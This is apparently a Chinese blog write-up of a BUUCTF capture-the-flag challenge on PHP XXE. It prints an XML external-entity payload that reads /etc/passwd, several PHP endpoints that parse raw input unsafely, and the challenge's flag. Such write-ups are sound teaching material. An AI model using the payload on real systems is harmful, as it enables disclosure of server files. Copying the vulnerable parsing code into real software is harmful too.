首页 > 编程语言 >XXE之读取任意文件 BUUCTF [PHP]XXE

XXE之读取任意文件 BUUCTF [PHP]XXE

时间:2024-09-16 21:49:32浏览次数:3  
标签:文件 BUUCTF string phpinfo flag PHP XXE POST php

开启BUUCTF靶场,打开链接:

很明显是个phpinfo.php文件


直接Ctfl F搜索flag,发现还真有,尝试输入flag看看什么情况?

flag{cce98ec0-f1e6-416f-86d7-9b174202e678}

呃呃,还真是flag,不过还是换种思路来做吧


看到上面有个github的链接,点进去看看

发现是一段例子和介绍,将其复制到《XML基础知识之外部实体》一文中了


用burp进行抓包并发送到Repeater中

发现是个GET类型的


添加github网站中的示例payload并改成POST类型:


simplexml_load_string.php:

<?php
$data = file_get_contents('php://input');
$xml = simplexml_load_string($data);

echo $xml->name;

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE xxe [

<!ELEMENT name ANY >

<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>

<root>

<name>&xxe;</name>

</root>

成功读取到/etc/passwd文件内容

(注意:这里的POST的php文件名字必须是simplexml_load_string.php)


另外两个php文件内容及POST的文件名:

SimpleXMLElement.php:

<?php
$data = file_get_contents('php://input');
$xml = new SimpleXMLElement($data);

echo $xml->name;


dom.php:

<?php
$data = file_get_contents('php://input');

$dom = new DOMDocument();
$dom->loadXML($data);

print_r($dom);


用dirsearch扫一下敏感文件:

不知道得扫到猴年马月啊!将<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>改成"file:///phpinfo.php"也没显示出phpinfo.php文件内容,不知道怎么解决了

标签:文件,BUUCTF,string,phpinfo,flag,PHP,XXE,POST,php
From: https://blog.csdn.net/weixin_73049307/article/details/142307691

相关文章

  • 微信支付开发-php流程图设计
    微信支付开发,必须采用服务号或是小程序来做掩体,其次就是开通财付通,也就是微信支付境内商户平台。JSAPI支付产品、app支付产品与小程序支付产品应用场景差不多,程序执行流程都差不多,返回的都是预支付交易会话标识。而H5支付产品与Native支付产品应用场景差不多,程序执行流程都差......
  • Thinkphp在线客服系统源码多语言外贸版_PHP客服系统源码Uniapp开发搭建+论文设计
    在线客服系统是现代企业与客户沟通的重要工具,它不仅能够提升客户满意度,还能有效提高企业的工作效率。本文将详细介绍在线客服系统的源码开发搭建过程,包括需求分析、技术选型、系统架构设计、关键模块实现、测试与优化等各个环节,并辅以代码实例,帮助读者深入理解并实践。......
  • zblogphp调用当前日期/当前时间代码汇总
    有的朋友在使用zblogphp程序中会遇到想调用当前时间,官方wiki里面这个标签没有写。本文来汇总下zblogphp调用当前时间的代码。首先zblogphp使用的是php语言,所以php怎么调用的zblogphp也可以直接拿来主义,但是标签格式得改改。废话不多说,zblog的调用标签是{date("Y-m-dH:i:s")},调......
  • phpcms网站程序忘记了后台的登录密码怎么办
    如果你忘记了phpCMS网站后台的登录密码,可以通过以下两种方法来重置密码:方法1:通过数据库修改密码登录数据库:使用数据库管理工具(如phpMyAdmin)连接到你的数据库。登录数据库管理界面。找到用户表:通常表名为 v9_admin(具体表名可能有所不同,但通常带有前缀 v9_)。打开......
  • 基于PHP的考研真题资料互助交流平台vue.js【开题实训报告源码论文】
      博主介绍:......
  • 基于PHP的网上订餐平台系统vue.js【开题实训报告源码论文】
      博主介绍:......
  • Phpcms找回管理员密码及管理员解锁时间的方法
    如果你忘记了PHPCMS的管理员密码,或者管理员账号被锁定了,可以通过以下步骤来重置密码或解锁账号:忘记管理员密码方法1:通过数据库修改密码登录数据库:使用数据库管理工具(如phpMyAdmin)连接到你的数据库。登录数据库管理界面。找到用户表:通常表名为 v9_admin(具体表名......
  • php AES/ECB/PKCS7Padding 加密
    在PHP中,直接使用 openssl_encrypt 函数时,它并不直接支持PKCS7Padding,特别是当使用ECB模式时,因为ECB模式本身并不关心数据填充(每个块都是独立加密的,且块大小固定为AES的块大小,即128位或16字节)。然而,由于AES的块大小与PKCS#7填充的最小单位(1字节)相同,在ECB模式......
  • phpcms忘记管理员密码和访问错误等常见问题
    使用PHPCMS时遇到的一些常见问题及解决方案如下:1.首页幻灯片显示不出来原因:需要设置文章的标题图片。解决方法:在文章编辑页面设置标题图片。确保图片路径正确且图片文件存在。2.自定义标签只能是全HTML原因:自定义标签内容中可以插入HTML代码或函数标签。解决方法:在......
  • phpcmsV9 管理员密码丢失或忘记了怎么办
    如果你在本地测试安装phpcmsV9时忘记了管理员密码,可以通过以下步骤手动重置密码:方法/步骤打开数据库管理工具使用如phpMyAdmin这样的数据库管理工具连接到你的本地数据库。通常,你可以通过访问 http://localhost/phpmyadmin/ 来打开phpMyAdmin。选择数据库和表选择......